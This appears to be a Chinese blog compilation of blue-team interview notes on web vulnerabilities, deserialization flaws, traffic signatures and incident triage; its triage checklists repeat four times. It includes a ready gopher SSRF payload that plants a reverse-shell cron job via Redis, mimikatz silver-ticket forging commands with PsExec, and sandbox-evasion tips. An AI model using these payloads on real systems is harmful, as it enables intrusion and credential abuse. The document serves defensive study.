护网蓝中面试题

2024-05-10 17:20
文章标签 面试题 护网 蓝中

本文主要是介绍护网蓝中面试题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

fastjson不出网利用

fastjson≤1.2.24

条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

安全加固

4. 操作系统加固

1. 配置加固

2. 应用程序加固

3. 软件加固

5. 服务器加固

邮箱定位画像

1:最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,

收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;

2:封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、

域名注册服务商!你可以整理一下证据,像西部反映一下。或者去相关网站举报这些网站。

sql注入dnslog外带

利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,

利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入

,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,

访问时将访问服务器,记录后查看日志。

注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)

sql注入堆叠

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询

原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够

虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,

又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,

往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

如何防御sql注入
base64编码、url编码、双url编码、宽字节、使用/**/分割sql关键字、替换空格为xx

如何防御sql注入漏洞

1、在代码层面使用过滤函数正则表达式等对传入的参数进行一个过滤、检测、处理,使得传入的恶意数据无法按照预想方式执行

2、预编译sql语句

3、使用waf,安全狗,阿里云盾等waf进行防护

4、经常进行基线检查、漏洞扫描等工作

sql写shell条件/sqlmap写shell
条件:

1、sql写shell可以用到两个函数outfile和dumpfile可用(select into outfile不可写入二进制可执行文件,select into dumpfile 可写入二进制可执行文件)

2、关闭安全模式(需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址,设置为NULL的时3、候不允许导出文件)

4、需要足够的权限

5、需要知道网站的绝对路径

6、GPC关闭可使用单引号

sqlmap --os-shell:

对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个返回课以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。

序列化反序列化及其流量特征
序列化:对象转换为字符串

反序列化:字符串转换为对象

流量特征:

shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。

fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为

st2-045:请求头中的Content-Type字段

流量分析
拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:

http contains "关键字"

http.response.code == 200

http.request.method == POST

tcp.prot == 80

ip.addr == "10.1.1.1"

ip.src

ip.dst

天眼基本搜索语法
sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200) 

#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志

dport:"443" OR dport:"8080

#访问端口是443或者8080的流量日志

dport:"80" NOT host:"www.example.com"

#访问端口为80,排除访问www.example.com域名的流量日志

dip:"10.1.1.2" AND client_os:"windows7"

#服务器ip为10.1.1.2,操作系统为windows7的流量日志

处置方案:

传感器上出现sql注入告警后

1、验证此条sql注入告警是否真的存在sql注入漏洞

2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为

3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户

4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何

5、将发现时间及攻击行为反馈给护网客户

传感器上出现RCE告警

1、验证此条警告师傅真的成功(若成功直接出报告)

2、若失败,判断攻击者是手工还是工具批量扫描行为

3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何

4、将发现时间及攻击行为反馈给护网


ssrf利用ridis打内网

方法二:通过【curl命令】和【gopher协议】远程攻击内网redis

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。 

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是:redis是以root权限运行的。

payload2如下:

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=

gopher://172.21.0.2:6379/

_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;

payload采用的是bash反弹,定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

nc -lvp 2333 (或nc -l 2333)

流量

冰蝎 2.0 强特征是 accept 里面有个 q=.2

冰蝎 3.0 Content-Type: application/octet-stream

冰蝎 4.0 ua头 referer头 accept 默认aes128 秘闻长度16整数倍

蚁剑是 ua 有 answord 蚁剑的加密特征是以 "0x.....="开头

哥斯拉 pass 字段

菜刀流量存在一些特征字 eval base64

AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段

Nessus 扫描器的特征:nessus 字段

java漏洞

shiro(Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,

在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、

AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是: 

获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。

因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。

Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,

无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。

如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

————————————————

shrio550和721的区别

主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的

Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。

利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

fastjson(4.fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,

在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,

并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,

只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,

其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!

)(@tamp)

weblogic(Weblogic的WLS Security组件对外提供webservice服务,

其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,

导致可执行任意命令。

1.3漏洞利用

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。)

log4j(log4j2框架下的lookup查询服务提供了{}字段解析功能,

传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。

这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务

(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,

在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,

造成了远程代码执行(可反弹shell到指定服务器)。)(流量jnd${log4j:123}i)

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

陆续推出青藤万相·主机自适应安全平台、青藤蜂巢·云原生安全平台、青藤猎鹰·威胁狩猎平台、

青藤雷火·AI-Webshell检测系统、青藤零域

制作白银票据  (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)

制作白银票据的条件:

1.域名称

2.域的SID值

3.域的服务账户的密码HASH

4.伪造的用户名,可以是任意用户名,一般伪造administrator

5.需要访问的服务

第一步:

管理员权限运行

mimikatzprivilege::debug #提升权限

sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

第二步:

清空本地票据缓存

kerberos::purge #清理本地票据缓存

kerberos::list #查看本地保存的票据

第三步:

伪造白银票据并导入

kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

第四步:

访问域控的共享目录

dir \\win08\c$

远程登陆,执行命令

PsExec.exe \\win08 cmd.exe

whoami   #查看权限

黄金票据

1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]

2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

weblogic原理

1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)

2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551

3.通过 javabean XML方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)

weblogic xml反序列化
原理:xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行

特征:服务器开放7001端口  传递xml数到wls-wsat  数据包内容有bash或者dnslog字段。

stu2

stu2-045:

Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行

站库分离打法

对站库分离类型站点通常可以有两个渗透入口点。

web 网站

数据库

渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。

从 web 网站打入进而打站库分离的数据库,内网渗透

从数据库打入进而打站库分离的 web 网站,内网渗透

Java内存马排查思路

内存马在语言类型上有PHP内存马,Python内存马,而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀,java内存马又主要分为下面这三大类

servlet-api类

filter型

servlet型

listener型

spring类

拦截器

controller型

Java Instrumentation类

agent型

内存马特征的识别

检测工具(arthas,java-memshell-scanner)
ridis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);

数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点,且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。

403绕过

使用插件 X-Forwarded-For Header
使用BurpSuite
使用BurpSuite插件 BurpSuite_403Bypasser【推荐】
修改HOST

覆盖请求URL

Referer标头绕过

代理IP

扩展名绕过

免杀思路

特征码检测

对文件或内存中存在的特征做检测,一般的方法是做模糊哈希或者机器学习跑模型,优点是准确度高,缺点是对未知木马缺乏检测能力。所以目前依赖厂商的更新,厂商做的更新及时能有效提高杀软的防护水平。目前一些杀软对相似的病毒有一定的检测能力,猜测是基于模糊哈希做的。部分杀软同样对于加壳也有检测能力,对于不同的厂家有不同的策略,有些会对文件进行标记,而某数字会直接告警。

关联检测

检测的特征不仅仅是恶意payload的特征,也可能是一组关联的代码,把一组关联信息作为特征。比如在使用加载器加载shellcode时,需要开辟内存,将shellcode加载进内存,最后执行内存区域shellcode。这些步骤就被反病毒人员提取出来作为特征,在调用了一组开辟内存的函数比如virtualAlloc之后对该内存使用virtualProtect来更改标示位为可执行并且对该内存进行调用就会触发报毒。以上只是一个简单的例子,具体情况具体分析,部分厂商对其进行了扩展,所以现在使用另外几个函数进行调用也无法免杀。不过其本质还是黑名单,还存在没有被覆盖到的漏网之鱼。

行为检测

行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:

延时,部分沙箱存在运行时间限制

沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测

部分沙箱会对文件重命名,可以检测自身文件名是否被更改

面试过程中把面试官带入自己的节奏中

推荐了解以下领域

数据安全

企业安全建设

免杀思路

逆向

这篇关于护网蓝中面试题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/977080

相关文章

荣耀嵌入式面试题及参考答案

在项目中是否有使用过实时操作系统? 在我参与的项目中,有使用过实时操作系统。实时操作系统(RTOS)在对时间要求严格的应用场景中具有重要作用。我曾参与的一个工业自动化控制项目就采用了实时操作系统。在这个项目中,需要对多个传感器的数据进行实时采集和处理,并根据采集到的数据及时控制执行机构的动作。实时操作系统能够提供确定性的响应时间,确保关键任务在规定的时间内完成。 使用实时操作系统的

一些其他面试题

阿里二面:那你来说说定时任务?单机、分布式、调度框架下的定时任务实现是怎么完成的?懵了。。_哔哩哔哩_bilibili 1.定时算法 累加,第二层每一个格子是第一层的总时间400 ms= 20 * 20ms 2.MQ消息丢失 阿里二面:高并发场景下引进消息队列有什么问题?如何保证消息只被消费一次?真是捏了一把汗。。_哔哩哔哩_bilibili 发送消息失败

zookeeper相关面试题

zk的数据同步原理?zk的集群会出现脑裂的问题吗?zk的watch机制实现原理?zk是如何保证一致性的?zk的快速选举leader原理?zk的典型应用场景zk中一个客户端修改了数据之后,其他客户端能够马上获取到最新的数据吗?zk对事物的支持? 1. zk的数据同步原理? zk的数据同步过程中,通过以下三个参数来选择对应的数据同步方式 peerLastZxid:Learner服务器(Follo

java常用面试题-基础知识分享

什么是Java? Java是一种高级编程语言,旨在提供跨平台的解决方案。它是一种面向对象的语言,具有简单、结构化、可移植、可靠、安全等特点。 Java的主要特点是什么? Java的主要特点包括: 简单性:Java的语法相对简单,易于学习和使用。面向对象:Java是一种完全面向对象的语言,支持封装、继承和多态。跨平台性:Java的程序可以在不同的操作系统上运行,称为"Write once,

【Kubernetes】常见面试题汇总(三)

目录 9.简述 Kubernetes 的缺点或当前的不足之处? 10.简述 Kubernetes 相关基础概念? 9.简述 Kubernetes 的缺点或当前的不足之处? Kubernetes 当前存在的缺点(不足)如下: ① 安装过程和配置相对困难复杂; ② 管理服务相对繁琐; ③ 运行和编译需要很多时间; ④ 它比其他替代品更昂贵; ⑤ 对于简单的应用程序来说,可能不

【附答案】C/C++ 最常见50道面试题

文章目录 面试题 1:深入探讨变量的声明与定义的区别面试题 2:编写比较“零值”的`if`语句面试题 3:深入理解`sizeof`与`strlen`的差异面试题 4:解析C与C++中`static`关键字的不同用途面试题 5:比较C语言的`malloc`与C++的`new`面试题 6:实现一个“标准”的`MIN`宏面试题 7:指针是否可以是`volatile`面试题 8:探讨`a`和`&a`

Laravel 面试题

PHP模块 PHP7 和 PHP5 的区别,具体多了哪些新特性? 性能提升了两倍 结合比较运算符 (<=>) 标量类型声明 返回类型声明 try…catch 增加多条件判断,更多 Error 错误可以进行异常处理 匿名类,现在支持通过new class 来实例化一个匿名类,这可以用来替代一些“用后即焚”的完整类定义 …… 了解更多查看文章底部链接 PHP7 新特性 为什么 PHP

【吊打面试官系列-Redis面试题】说说 Redis 哈希槽的概念?

大家好,我是锋哥。今天分享关于 【说说 Redis 哈希槽的概念?】面试题,希望对大家有帮助; 说说 Redis 哈希槽的概念? Redis 集群没有使用一致性 hash,而是引入了哈希槽的概念,Redis 集群有 16384 个哈希槽,每个 key 通过 CRC16 校验后对 16384 取模来决定放置哪个槽, 集群的每个节点负责一部分 hash 槽。

【Kubernetes】常见面试题汇总(一)

目录 1.简述 etcd 及其特点? 2.简述 etcd 适应的场景? 3.简述什么是Kubernetes? 4.简述 Kubernetes和 Docker的关系? 1.简述 etcd 及其特点? (1)etcd 是Core0s 团队发起的开源项目,是一个管理配置信息和服务发现(service discovery)的项目,它的目标是构建一个高可用的分布式键值(keyvalue)数据

2018秋招C/C++面试题总结

博主从8月中旬开始大大小小面试了十几家公司,至今也许是告一段落吧,希望后面会有好结果,因此总结记录一些C/C++方向常见的问题。和大家一起学习! 参考了互联网的各种资源,自己尝试归类整理,谢谢~ 一、C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛。 C中函数不能进行重载,C++函数可以重载 C++在C的基础上增添类,C是一个结构